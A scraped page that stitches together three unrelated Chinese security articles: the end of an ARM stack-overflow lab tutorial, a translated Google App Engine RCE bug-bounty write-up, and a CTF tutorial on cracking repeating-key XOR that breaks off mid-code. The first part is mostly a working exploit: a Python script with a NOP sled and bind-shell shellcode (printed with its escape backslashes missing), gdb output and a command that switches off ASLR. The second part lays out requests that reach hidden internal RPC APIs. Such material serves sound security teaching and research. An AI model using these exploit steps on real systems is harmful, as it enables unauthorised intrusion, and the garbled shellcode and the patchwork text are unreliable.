tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN
这个时候我们使用`nc -vv 127.0.0.1 4444`,远程连接，客户端和服务端成功连接上，执行命令也成功返回
客户端返回：
pi@raspberrypi:~/Desktop $ nc -vv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
whoami
pi
ps
PID TTY TIME CMD
572 pts/0 00:00:33 bash
6522 pts/0 00:00:06 gdb
6526 pts/0 00:00:00 sh
6534 pts/0 00:00:00 ps
服务端返回结果，显示开启了一个新的进程来运行`/bin/sh`
gef> r < exp
Starting program: /home/pi/Desktop/ARM-challenges/stack0 < exp
you have changed the 'modified' variable
process 6526 is executing new program: /bin/dash
1. 环境变量的影响—-NOP技术，生成新进程的问题
针对第6步的调试成功之后，当我们直接运行`./stack0
<exp`的时候，返回错误如下。所以我们单开最后一个步骤，来处理出现的问题。这个问题主要的原因就是栈内环境变量不同导致栈发生了小幅度的偏移，影响了shellcode的位置。
`you have changed the 'modified' variable`
`Segmentation fault`
我们使用`gdb /home/pi/Desktop/ARM-challenges/stack0`和`gdb
./stack0`来调试完整路径下的程序，并且在执行shellcode前设置断点，并且定义`hook-stop`来在执行断点前打印栈数据,运行`r<exp`后观察返回的栈数据，很明显栈数据发生了很大的变化
gef> define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/8wx $sp
>end
返回栈数据结果
gdb ./stack0
0xbefff128: 0x31313131 0xbefff130 0xe28f3001 0xe12fff13
0xbefff138: 0x21012002 0x27c81a92 0xdf013751 0xa1111c04
gdb /home/pi/Desktop/ARM-challenges/stack0
0xbefff138: 0x00000000 0xb6e8c294 0xb6fb1000 0xbefff294
0xbefff148: 0x00000001 0x0001044c 0xb6ffe0b8 0xb6ffddc0
下面尝试打印1000行栈数据`x/1000s
$sp`，观察不同，具体不同的地方就是存放环境变量的地方，如下所示，地址`0xbefffcdd`的数据还是相同的，但是因为`pwd变量的长度不一致，导致了需用用更多的栈空间存储多余的数据，所以从这往后，栈内数据发生了变化`
gdb ./stack0的输出
0xbefffc8c: "_=/usr/bin/gdb"
0xbefffc9b: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcb9: "PWD=/home/pi/Desktop/ARM-challenges"
0xbefffcdd: "LANG=en_GB.UTF-8"
gdb /home/pi/Desktop/ARM-challenges/stack0的输出
0xbefffc9b: "_=/usr/bin/gdb"
0xbefffcaa: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcc8: "PWD=/home/pi/Desktop"
0xbefffcdd: "LANG=en_GB.UTF-8"
**具体解决方案：**
* 执行前删除环境变量
shell$ env -i ./stack0
(gdb) unset env
* `NOP`:使用NOP滑到我们的shellcode处，然后我们将加入100个NOP到shellcode中，下面这个python脚本才是最终的脚本！
import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)
payload = "x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx11xa1x4ax70x8ax80xc0x46x8ax71xcax71x10x22x01x37x01xdfx20x1cx02x21x02x37x01xdfx20x1cx49x40x52x40x01x37x01xdfx04x1cx20x1cx49x1ax3fx27x01xdfx20x1cx01x21x01xdfx20x1cx02x21x01xdfx04xa0x49x40x52x40xc2x71x0bx27x01xdfx02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58"
print padding + return_addr + "x90"*100 + payload
至此我们解决了环境变量引起的`栈数据移动问题`，当我们在次执行`./stack0 < exp`
you have changed the 'modified' variable
Segmentation fault
由这个问题引入一个概念 **ASLR**`Address Space Layout Randomization，地址空间布局随机化`
Linux 平台上 ASLR 分为 0，1，2 三级，用户可以通过一个内核参数 randomize_va_space
进行等级控制。它们对应的效果如下。更详细的介绍大家百度
* 0：没有随机化。即关闭 ASLR。
* 1：保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
* 2：完全的随机化。在 1 的基础上，通过 brk() 分配的内存空间也将被随机化
这里我们使用命令来改变这个值：
`echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`
下面就是见证奇迹的时候了：
## 小结
至此本篇paper基本完成，这个实例其实是很入门的东西，但是整套流程坐下来，却很有意义，希望给大家一些帮助。当然，过程中遇见了很多的问题，学习的路上很枯燥，我们需要耐着性子稳步前行，做完这个例子我收获了很多，感谢自己、也感谢帮我的优秀老铁：`大毛腿`。
> 附录文章：
> [1] ARM汇编学习网站<https://azeria-labs.com/writing-arm-assembly-part-1/>
> [2] 实战样本下载地址<https://github.com/azeria-labs/ARM-challenges.git>
> [3] shellcode学习编写地址<https://www.jianshu.com/p/16f1c9fe8541>
> [4]
> 在溢出中使用shellcode教程<https://www.youtube.com/98c2a1d3-3d69-4931-9f27-bd457a464f38> | 社区文章 |
原文：<https://sites.google.com/site/testsitehacking/-36k-google-app-engine-rce>
**简介**
* * *
在2018年初，我接触到了一个非生产型的Google App
Engine部署环境，在那里，我可以尽情鼓捣各种内部API，经过一番折腾后，竟然找到了一个得到Google承认的远程代码执行漏洞。为此，我获得了Google漏洞奖励计划颁发的36,337美元奖金。
**提示**
* * *
您可以尝试运行文中[Google App Engine应用](http://save-the-expanse.appspot.com/ "Google
App Engine应用")所涉及的一些概念的示例代码。您可以找到该应用程序的源代码，包括gRPC C++ 客户端的源代码和各个Protocol
Buffer的定义，这些都可以从本人提供的[GitHub存储库](https://github.com/ezequielpereira/GAE-RCE
"GitHub存储库")中找到。
不久之前，我注意到每个[Google App Engine](https://cloud.google.com/appengine/ "Google App
Engine")（GAE）应用程序都使用“X-Cloud-Trace-Context”头部来响应所有HTTP请求，所以，我觉得任何返回该头部的网站都可以在GAE上运行。
在这一想法的指引下，我发现“[appengine.google.com](http://appengine.google.com/
"appengine.google.com")”本身就是运行在GAE上的，但是，它却可以执行一些无法在其他地方完成的操作，以及一些普通用户应用程序无法执行的操作，这极大地激发了我的好奇心，所以，我决定搞清楚这到底是咋回事。
显然，它必须使用一些API、接口或者只有谷歌自己运行的应用才可以使用的东西，并且，也许我们还可以通过某种方式来访问它们，这正是我们要探索的。
首先，在考察GAE应用程序是如何执行内部操作（例如写日志或[获取OAuth令牌](https://cloud.google.com/appengine/docs/standard/java/appidentity#asserting_identity_to_google_apis
"获取OAuth令牌")）之后，我发现，在Java
8环境中，这些操作都是通过向位于<http://169.254.169.253:10001/rpc_http的内部HTTP端点发送Protocol>
Buffer（PB）消息（采用[二进制线路层格式](https://developers.google.com/protocol-buffers/docs/encoding#structure "二进制线路层格式")）来实现的。
HTTP请求如下所示：
POST /rpc_http HTTP/1.1
Host: 169.254.169.253:10001
X-Google-RPC-Service-Endpoint: app-engine-apis
X-Google-RPC-Service-Method: /VMRemoteAPI.CallRemoteAPI
Content-Type: application/octet-stream
Content-Length: <LENGTH>
<PROTO_MESSAGE>
这里的PB消息实际上是一个“[apphosting.ext.remote_api.Request](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/ext/remote_api/remote_api.proto#L11
"apphosting.ext.remote_api.Request")”消息，包括：
service_name = 要调用的API的名称
method = 要调用的API方法的名称
request = 内部PB请求的字节数据（以二进制线路层格式编码）
request_id = 安全票据（随每个GAE请求一起提供给应用程序），虽然它被标记为可选，但必需提供
至于这个HTTP请求的响应，可能是与该API的回复相对应的PB消息，也可能是一个错误消息。
在Java 8运行时环境下，我们可以通过下列代码行获取相应的安全票据：
import com.google.apphosting.api.ApiProxy;
import java.lang.reflect.Method;
Method getSecurityTicket = ApiProxy.getCurrentEnvironment().getClass().getDeclaredMethod("getSecurityTicket");
getSecurityTicket.setAccessible(true);
String security_ticket = (String) getSecurityTicket.invoke(ApiProxy.getCurrentEnvironment());
对于这个过程，我们可以通过一个例子进行说明：如果我想要取得一个可以在“<https://www.googleapis.com/auth/xapi.zoo”范围（测试范围，没有实际使用）内使用的Google>
OAuth令牌，具体步骤如下所示：
1.生成一个“[apphosting.GetAccessTokenRequest](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/api/app_identity/app_identity_service.proto#L51
"apphosting.GetAccessTokenRequest")”消息：
scope = ["<https://www.googleapis.com/auth/xapi.zoo>"]
2.生成一个“[apphosting.ext.remote_api.Request](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/ext/remote_api/remote_api.proto#L11
"apphosting.ext.remote_api.Request")”消息：
service_name = "app_identity_service"（该API用于访问GAE服务帐户）
method = "GetAccessTokenRequest"
request = 上一步生成的PB消息的字节数据，以二进制线路层格式编码
request_id = 安全票据
3.发送HTTP请求
4.对响应消息进行解码，该响应内容应该是“[apphosting.GetAccessTokenResponse](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/api/app_identity/app_identity_service.proto#L57
"apphosting.GetAccessTokenResponse")”消息
由于这个端点可以访问一些内部的东西，所以，我相信它与完成内部操作的“[appengine.google.com](http://appengine.google.com/
"appengine.google.com")”域肯定有关，遗憾的是，我在这个HTTP端点中没有找到任何有用的东西。
最初，我觉得它可能使用了位于同一服务器（169.254.169.253）中的其他端点，因此，我上传了一个静态链接版本的Nmap到GAE，并在该服务器上运行它（为了在GAE中运行二进制文件，我将其与应用程序一起上载，然后在运行时，将它们复制到/tmp目录中，并赋予它们执行权限——因为文件系统的其余文件都是只读的）。具体的例子，请参考[这里](http://save-the-expanse.appspot.com/nmap "这里")。
我发现，端口4是开放的，所以，我向该端口发送了一些东西。之后，它回复了一堆奇怪的数据，不过，其中也有一些可识别的字符串，在搜索引擎的帮助下，我发现这是一个[gRPC服务](https://grpc.io/about/
"gRPC服务")。
我曾经尝试构建一个在GAE上运行的Java
gRPC客户端，但是遇到了一个问题：一方面内置的gRPC库似乎不完整，另一方面，每当我上传一个完整的gRPC库后，它仍“固执地”使用内置的库。
所以，我构建了一个C++客户端，并在GAE上运行它。
经过反复试验之后，我发现gRPC服务就像HTTP端点一样，也运行了一个“[apphosting.APIHost](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/base/runtime.proto#L219
"apphosting.APIHost")”
API。当然，两者还是有所差异的，比如在PB消息的编码方面，它不仅提供了二进制编码选项，还提供了JSON编码选项，因此，它在测试方面要更容易一些。
对于该客户端，[这里](http://save-the-expanse.appspot.com/grpc?api=app_identity_service&method=GetDefaultGcsBucketName&req=%7B%7D&setPb=1
"这里")提供了一个实例。
由于在该服务器中没有发现其他东西，因此，我假定“[appengine.google.com](http://appengine.google.com/
"appengine.google.com")”在内部执行的操作，要么是借助其他服务器完成的，要么就是使用RPC服务（HTTP/gRPC）调用了某些隐式的API/方法。
于是，我通过Nmap查找与其有关的服务器，但只找到了[元数据服务器](https://cloud.google.com/compute/docs/storing-retrieving-metadata
"元数据服务器")，很明显，它不可能完成上述的操作，所以，我认为它肯定使用了隐式的API，但问题是——如何找到它们呢？
首先，我收集了所能找到的所有Protocol
Buffer的定义（这些可以从.JAR文件中找到的.CLASS文件以及在运行时找到的二进制文件中提取），并在其中搜索任何可能指向某些隐式API的Protocol
Buffer定义（如果读者有兴趣的话，可以从[这里](https://github.com/ezequielpereira/GAE-RCE/tree/master/protos "这里")下载我提取到的所有PB定义）。
在“[apphosting/base/appmaster.proto](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/base/appmaster.proto
"apphosting/base/appmaster.proto")”文件中，含有几个PB消息，看起来像是修改App
Engine内部设置的内部方法，还有一个名为“AppMaster”的API，其中定义了一些方法，这些都是我们所感兴趣的——但是，经过一番尝试之后，我仍然没有找到正确调用这些方法的途径。
由于在PB定义中没有找到任何隐式的API/方法，所以我不得不到其他地方寻找。
于是，我将搜索目标转移到二进制文件上面，问题是它们过于庞大，并且里面充满了无用或者无法理解的东西（我是通过字符串+grep来完成搜索的，因为我对逆向工程还不太熟悉），后来，我在一个主要的二进制文件即“java_runtime_launcher_ex”中发现了多命令行参数，这给了我很大的启发：何不考察在GAE环境中运行时会收到哪些参数呢？
刚开始的时候，我获取参数的方法是非常费劲的，因为需要将每个可以找到的Java变量与相应的参数联系起来，这几乎是不可能完成的任务。
然后，我尝试了一些更聪明的方法：用C++创建一个Java库，并使用一个方法来读取传递给启动程序的参数，然后将其返回。
这种获取参数的方式明显要轻松多了，这是我从一个[Stack Overflow帖子](https://stackoverflow.com/a/37358751
"Stack Overflow帖子")中学到的，其中用于获取参数的代码如下所示：
int argc = -1;
char **argv = NULL;
static void getArgs(int _argc, char **_argv, char **_env) {
argc = _argc;
argv = _argv;
}
__attribute__((section(".init_array"))) static void *ctr = (void*) getArgs;
然后，通过一个简单方法将参数转换为Java数组，[这里](http://save-the-expanse.appspot.com/args
"这里")有一个具体的例子。
运行代码后，我得到了很多参数，其中包括下面这个（为了便于阅读，这里将其分成多行）：
--api_call_deadline_map=
app_config_service:60.0,
blobstore:15.0,
datastore_v3:60.0,
datastore_v4:60.0,
file:30.0,
images:30.0,
logservice:60.0,
modules:60.0,
rdbms:60.0,
remote_socket:60.0,
search:10.0,
stubby:10.0
我很快注意到了一些之前用过的API，比如“logservice”（用于写日志），所以我推断这些都是可以通过内部HTTP端点使用的API。
此外，我还注意到了“stubby”，之前在某些Google产品的错误消息中见过这个消息（当遇到bug时），并且在[SRE](https://landing.google.com/sre/book/chapters/production-environment.html
"SRE")中也读过这方面的东西，所以我判断这是一个RPC的基础结构，并且可能是“[appengine.google.com](http://appengine.google.com/
"appengine.google.com")”执行内部操作的一种方式。
太棒了，现在终于知道一个内部API的名称了，但是，它提供了哪些方法呢？
我用C++ gRPC客户端尝试了几个方法名，但是它们都返回了一个错误，说这些方法并不存在，所以，我开始借助Google进行搜索。
后来，我发现了一篇写于2010年的[文章](https://groups.google.com/d/msg/techos/6koJkAuuVVk/6QJNbjRIy40J
"文章")，它指出：
The API call stubby.Send() took too long to respond and was cancelled.
所以，我开始尝试“Send”方法，但系统指出该方法并不存在。
我相信该方法肯定是存在的，这里的错误消息只是为了隐藏了它存在的事实，同时，现在我仍然无法访问它。
为此，我试着通过寻找访问确实“不存在”的方法时返回的错误消息（[示例](http://save-the-expanse.appspot.com/grpc?api=app_identity_service&method=SaveTheExpanse
"示例")）与为了掩盖真实存在的方法而返回的错误消息（[示例](http://save-the-expanse.appspot.com/grpc?api=stubby&method=Send
"示例")）之间的区别来验证上面的判断，并且发现：当从我的gRPC客户端中发送一个未设置"[apphosting.APIRequest.pb](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/base/runtime.proto#L176
"apphosting.APIRequest.pb")"字段（它被标记为可选的，但我总是至少将它设置为一个空字符串或"{}"）的请求的时候，系统会为并不存在的方法（[示例](http://save-the-expanse.appspot.com/grpc?api=app_identity_service&method=SaveTheExpanse&setPb=0
"示例")）返回一则“not-exist”错误消息，而对于一个实际存在的方法（[示例](http://save-the-expanse.appspot.com/grpc?api=stubby&method=Send&setPb=0
"示例")），系统则会返回一则“incomplete request”错误消息。通过这种方式，我判断出“stubby.Send”方法确实是存在的。
现在的问题是，如何才能访问它呢？
我不知道在生产性的GAE[部署环境](https://en.wikipedia.org/wiki/Deployment_environment
"部署环境")中访问它的方式，但我知道，利用某个漏洞（通常，普通的Google用户无法访问非生产性的部署环境），我可以访问staging（[staging-appengine.sandbox.googleapis.com](http://staging-appengine.sandbox.googleapis.com/ "staging-appengine.sandbox.googleapis.com")）和测试（[test-appengine.sandbox](http://test-appengine.sandbox.googleapis.com/ "test-appengine.sandbox")）性的GAE部署环境。
对这两种部署环境进行一番研究之后，我找到了调用在其中运行的应用程序的方法：
1.上传一个缩放类型为手动缩放的版本（否则无法正常运行，并返回403 Forbidden）
2.向“www.appspot.com”发送请求，并将Host头部改为“<project-name>.prom-<qa/nightly>.sandbox.google.com”</project-name>
如果您的应用在“save-the-expanse.appspot.com”上运行，则应该用“save-the-expanse”替换“<project-name>”；如果您要将应用上传到staging
GAE环境，则应该用“qa”代替“<qa/nightly>”；如果要把该应用上传到测试GAE环境的话，则应该将"<qa/nightly>"换为
"nightly"。</project-name>
例如：我是在“the-expanse.prom-nightly.sandbox.google.com”上进行的测试（没有“保存”，因为当时[The
Expanse](https://www.imdb.com/title/tt3230854/ "The
Expanse")还没有被[撤销](http://www.newsweek.com/expanse-save-amazon-syfy-season-4-renew-fans-934620 "撤销")）。
**漏洞详情**
* * *
上传好这个应用程序后，我很快就发现，在非生产（staging/测试）性的GAE环境中，我竟然可以访问“stubby.Send”方法！
经过一番快速测试（主要是阅读错误消息并猜测如何解决这些问题）后，我发现了进行简单的Stubby调用的方式：
1.使用以下JSON PB消息调用“stubby.GetStubId”方法：
{
"host": "<HOST>"
}
将'<host>'设置为要调用的方法所在的位置（例如，“google.com:80”，“pantheon.corp.google.com:80”，“blade：monarch-cloud_prod-streamz”）。</host>
“blade：<service>”似乎就像Google使用的内部DNS系统，例如，“blade：cloudresourcemanager-project”在其内部就是“cloudresourcemanager.googleapis.com”（有点像“blade：monarch-cloud_prod-streamz”，但是没有外部的对应物）。</service>
2.前一个请求将返回一个JSON PB消息，其中“stub_id”是其唯一的字段，用于存储相应的值。
3.通过以下JSON PB消息调用“stubby.Send”方法：
{
"stubby_method": "/<SERVICE>.<METHOD>",
"stubby_request": "<PB>",
"stub_id": "<STUB_ID>"
}
为了搞清楚“stubby_method”的可能取值，可以使用空的“stubby_request”将其设置为“/ServerStatus.GetServices”，这样就会返回一个“rpc.ServiceList”，从而列出目标系统支持的所有服务。
<pb>是PB消息字节数据（采用二进制线路层格式）。</pb>
4.如果成功的话，该调用将返回以“stubby_response”作为其唯一字段的JSON
PB消息，其中存放响应PB消息的相关字节（采用二进制线路层格式）。
此后，我进行了一些测试，并没有发现会导致安全隐患的Stubby调用。
不过，我仍然向谷歌汇报了这个问题，它们将这个问题的优先级定为P1。
在报告这个问题之后，我又重新进行了回顾，试图找到可以成功用于攻击的一些变体，我注意到，除了“stubby”之外，通过Java启动程序二进制文件中得到的参数中，还有一个名为“app_config_service”的参数，它实际上也是一个隐式的API。
通过查看之前得到的PB定义，并没有发现这个隐式的API的方法，此外，也没有在Google搜索中找到它们，但后来从“apphosting/base/quotas.proto”中发现了相关的方法。
例如，其中提到了“[APP_CONFIG_SERVICE_GET_APP_CONFIG](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/base/quotas.proto#L417
"APP_CONFIG_SERVICE_GET_APP_CONFIG")”，并且通过一些测试发现“app_config_service.GetAppConfig”的确是一个隐式的方法。
“app_config_service”提供了多个方法，但我最感兴趣的方法是“app_config_service.ConfigApp”和“app_config_service.SetAdminConfig”，因为它们可用来完成内部设置，例如设置电子邮件发件人、应用程序的服务帐户ID、忽略配额限制，甚至可以将自己的应用程序设为“[SuperApp](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/base/appmaster.proto#L106
"SuperApp")”（我不知道这意味着什么，但听起来很牛掰），并赋予其“[FILE_GOOGLE3_ACCESS](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/base/appmaster.proto#L204
"FILE_GOOGLE3_ACCESS")”权限（我认为gooogle3是Piper的一部分，存放与gooogle API和服务相关的文件）。
“app_config_service.SetAdminConfig”方法使用“[apphosting.SetAdminConfigRequest](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/base/appmaster.proto#L657
"apphosting.SetAdminConfigRequest")”作为其请求消息，“app_config_service.ConfigApp”方法使用“[apphosting.GlobalConfig](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/base/appmaster.proto#L85
"apphosting.GlobalConfig")”作为其请求消息。
通过"[apphosting/base/quotas.proto](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/base/quotas.proto
"apphosting/base/quotas.proto")"，我还发现了其他一些API/方法，如“[basement.GaiaLookupByUserEmail](https://github.com/ezequielpereira/GAE-RCE/blob/c58ccd52d9204a0e5b8c7cf9b82b8e6e06d524a8/protos/apphosting/base/quotas.proto#L651
"basement.GaiaLookupByUserEmail")”，等等。
之后，我向Google提交了这些新发现，他们提高了处理这些问题的优先级，并回复道：
请停止进一步的探索，因为您似乎可以轻松地使用这些内部API来破坏一些东西。
同时，这个安全问题被抄送给了几名员工:
几天后，访问非生产性GAE API和环境时将被阻止，并返回一个错误页面（状态码为“429 Too Many Requests”）。
您仍然可以在“[staging-appengine.sandbox.googleapis.com](http://staging-appengine.sandbox.googleapis.com/ "staging-appengine.sandbox.googleapis.com")”和“[test-appengine.sandbox.googleapis.com](http://test-appengine.sandbox.googleapis.com/ "test-appengine.sandbox.googleapis.com")”中看到如下所示的消息。
后来，我收到以下信件：
我得到了36，337美元的奖励！
直到那时我才意识到，这个安全问题被定性为远程代码执行漏洞（最危险的安全漏洞），这真是太让人惊喜了。
我向其中一位Google员工咨询了奖励金额问题，得到的回复是，部分奖金是为RCE漏洞支付的（请阅读[SRE](https://landing.google.com/sre/
"SRE")，[RCE漏洞奖金为31,337美元](https://www.google.com/about/appsecurity/reward-program/index.html#rewards "RCE漏洞奖金为31,337美元")），而额外的$5k则是为另外一个安全漏洞提供的奖金。
**时间线**
* * *
2018年2月：发现安全问题
2018年2月25日：初次报告（仅限“stubby”API）
2018年3月4日、5日：发现并报告了“app_config_service”API
2018年3月6日至13日：访问非生产性GAE环境时会被429错误页面所阻止
2018年3月13日：奖励36,337美元
2018年5月16日：确认并修复漏洞
**作者联系方式：**
* * *
Email: [email protected] | 社区文章 |
# 小记一类ctf密码题解题思路
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
一次一密的流密码被证明是完全理想化的不可破解的完美安全的加密方式。但是在现实生活中我们没法做到真正的伪随机的密密钥流。对于这种情况，想到的措施就是设计出攻击者优势可忽略的伪随机生成器，然后利用极短的密钥来近似的生成一次一密的密钥流。当然这篇文章不是讨论这些理论的证明和伪随机数生成器如何应用到安全的留密码，而是想介绍一些流密码的攻击思路，这些思路经常出现在ctf的密码题中，虽说攻击手段不新鲜，但是其指导意义和对思维的锻炼是一点不含糊。
## 不安全的流密码使用举例
> 其中的一道题是coursa 密码学课程上的课后编程题，另一道题目是crypto chanllege set1 的一道流密码密钥重用的题。
> 在之后我们将尝试用两种方法来对其进行统计学以及英语特性上的攻击。，这些攻击相当的犀利，准确率极高，只要捕获的密文足够多就能够实现对密钥的无差别猜解。以下是题目：
###
[coursa](https://www.coursera.org/learn/crypto/quiz/KZ9js/week-1-programming-assignment-optional)
这道题目的大概意思说，我们捕获了一连串的密文，已知这些密文的加密方式为i抑或，并且抑或的密码本被多次使用了，我们能否通过这些捕获的存在不合理抑或利用方式的加密密文来还原出明文。读者可以点进连接去自己看看原题。不过这篇文章打算以下一个题目作为例子进行讲解，二者的解体思路和方法大同小异，核心思路一致。
### [crypto chanllege set1
question6](https://cryptopals.com/sets/1/challenges/6)
这道题目和上一道题目其实十分的相似，都是流密码重用的类型，但是根据题目的提示，我们可以了解到一种利用汉明距离来进行密钥长度的猜接手段——汉名距离，在解除密钥长度后，我们可以采取两个方法来获取明文信息，具体细节稍后进行阐述。读者可以先看看原题进行一些初步理解，这里就不对题目做过多的解释。
## 攻击细节
整个的攻击流程其实可以分为两个步骤：密钥长度猜解，其次是解出明文。接下来就对这两个部分进行是的剖析。
### 首先猜测密钥长度
密钥长度的猜解其实比较直观的是进行暴力破解，在密钥长度比较短的时候比较奏效，但是随着密钥长度的增加，我们会发现暴力的方式会让效率相当的低下。甚至是根本解不出。但是在这两个编程实践中，涉及到的密钥长度还是比较短的，不超过40位，暴力猜解的方法在思维上并没有什么难度。然后根据一番搜索，得知有这么一种利用`Hamming
distance`（汉明距离）来猜解密钥长度的方法。以下将对其进行进一步的阐述：
首先解释一下什么是汉明距离？汉明距离其实是在二进制层面观测两个等长字符串的比特位差异。可以看以下几个例子：
hamming("1010", "1111") == 2
hamming("1111", "0000") == 4
hamming("1111", "1111") == 0
可以看到，`1010`与`1111`有两个比特位存在差异，所以汉明距离为2。有一种快速的求解汉明距离的方法就是将等长字符串的方法，那就是异或。将两个二进制的字符异或后计算值为1的比特位个数，就是最后的汉明距离。具体的代码如下：
def bxor(a, b): # xor two byte strings of different lengths
if len(a) > len(b):
return bytes([x ^ y for x, y in zip(a[:len(b)], b)])
else:
return bytes([x ^ y for x, y in zip(a, b[:len(a)])])
def hamming_distance(b1, b2):
differing_bits = 0
for byte in bxor(b1, b2):
differing_bits += bin(byte).count("1")
return differing_bits
知道了汉明距离和汉明距离代码实现后，我们应该思考，汉明距离和密钥长度的猜解有什么联系？通过阅读题干和相关拓展资料，我们知道，两个以ascii编码的英文字符的汉明距离是2-3之间，也就是说正常英文字母的平均汉明距离为2-3（每比特），任意字符（非纯字母）的两两汉明距离平均为4。另外我们也容易知道，正确分组的密文与密文的汉明距离等于明文与明文的汉明距离（可以通过按正确密钥长度分组的密文与密文异或等于明文与明文异或证明）。这样，我们可以知道，当我们使用了正确的密钥长度后，两两字母进行计算汉明距离，那么这个值应该是趋于最小。为了增加效率，我们不需要对每一对分组都计算汉明距离，只需取出前几对就可说明问题。当然为了排除偶然误差，结果不应该只取最小的那一个密钥长度，而是酌情多取几组。以下是`crypto
chanllege set1 question6`这道题的密钥长度猜解代码示例：
import base64
def bxor(a, b): # xor two byte strings of different lengths
if len(a) > len(b):
return bytes([x ^ y for x, y in zip(a[:len(b)], b)])
else:
return bytes([x ^ y for x, y in zip(a, b[:len(a)])])
def hamming_distance(b1, b2):
differing_bits = 0
for byte in bxor(b1, b2):
differing_bits += bin(byte).count("1")
return differing_bits
text = ''
with open("6.txt","r") as f:
for line in f:
text += line
b = base64.b64decode(text)
normalized_distances = []
for KEYSIZE in range(2, 40):
#我们取其中前6段计算平局汉明距离
b1 = b[: KEYSIZE]
b2 = b[KEYSIZE: KEYSIZE * 2]
b3 = b[KEYSIZE * 2: KEYSIZE * 3]
b4 = b[KEYSIZE * 3: KEYSIZE * 4]
b5 = b[KEYSIZE * 4: KEYSIZE * 5]
b6 = b[KEYSIZE * 5: KEYSIZE * 6]
normalized_distance = float(
hamming_distance(b1, b2) +
hamming_distance(b2, b3) +
hamming_distance(b3, b4) +
hamming_distance(b4, b5) +
hamming_distance(b5, b6)
) / (KEYSIZE * 5)
normalized_distances.append(
(KEYSIZE, normalized_distance)
)
normalized_distances = sorted(normalized_distances,key=lambda x:x[1])
print(normalized_distances)
#以下是运行结果：
[(5, 2.96), (2, 3.0), (3, 3.3333333333333335), (29, 3.413793103448276), (31, 3.5935483870967744), (16, 3.7), (18, 3.7111111111111112), (14, 3.742857142857143), (15, 3.7466666666666666), (13, 3.753846153846154), (6, 3.7666666666666666), (19, 3.768421052631579), (8, 3.8), (20, 3.82), (37, 3.827027027027027), (39, 3.8666666666666667), (11, 3.8727272727272726), (33, 3.8727272727272726), (26, 3.8923076923076922), (12, 3.9), (17, 3.9176470588235293), (30, 3.92), (34, 3.9352941176470586), (22, 3.9454545454545453), (28, 3.95), (32, 3.95), (7, 3.9714285714285715), (27, 3.977777777777778), (21, 3.9904761904761905), (35, 3.994285714285714), (38, 4.021052631578947), (25, 4.024), (24, 4.033333333333333), (9, 4.044444444444444), (23, 4.069565217391304), (10, 4.1), (36, 4.188888888888889), (4, 4.2)]
[Finished in 0.1s]
可以看到，正确的密钥长度29排得比较靠前。这样我们从前往后取作为密钥长度来进行后面的密钥的猜解就可以大大增加我们的效率，相对于暴力遍历来说。这点在后面可以进一步看到。
### 根据猜出的密钥长度进行密文的解密
在密文的解密部分，根据笔者的总结，发现有两种行之有效的办法。
**methon one（合理利用明文的空格）**
这种方法其实是利用了一个抑或的规律和一个小技巧。使用到的抑或定律其实相当的简单：在使用异或加密的形式下，使用相同密钥加密的明文和秘文间存在这个规律，密文和密文异或等于明文和明文异或。可以通过简单的数学公式加以证明，这里就不展开叙述。另一个小技巧就是：空格和所有小写字母异或结果是相应的大写字母，空格和所有大写字母异或是相应的小写字母。为了证明这个小技巧，可以使用一个python脚本来遍历输出。
results = []
value = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for asc1 in value:
print(asc1,"^0x20---->",chr(ord(asc1)^0x20))
这样当两个密文按照字节异或后的结果处于字母表的ascii值之间，我们就可以有很大的概率认为异或的明文字符之一是空格，那么根据这个规律，我们可以依次遍历出密钥的每个字节，当捕获的密文组足够多，我们就可以有相当大的概率解出整个密钥，因为当密文组够多，我们有很大的概率得到每个密钥对应异或的字节位上的明文为空格，然后依次异或出密钥。
当然读者可能会问，ascii码那么多，两两异或的结果处于字母区间的可能情况不是有很多种吗？这样说是一点没错的，我曾经尝试写过一个常用英文符号两两异或的脚本，遍历输出非空格下，两者异或的结果是字母表区间的python脚本，如下：
results = []
verifycode = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
value = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,/."'?! :'
for asc1 in value:
for asc2 in value:
result = ord(asc1) ^ ord(asc2)
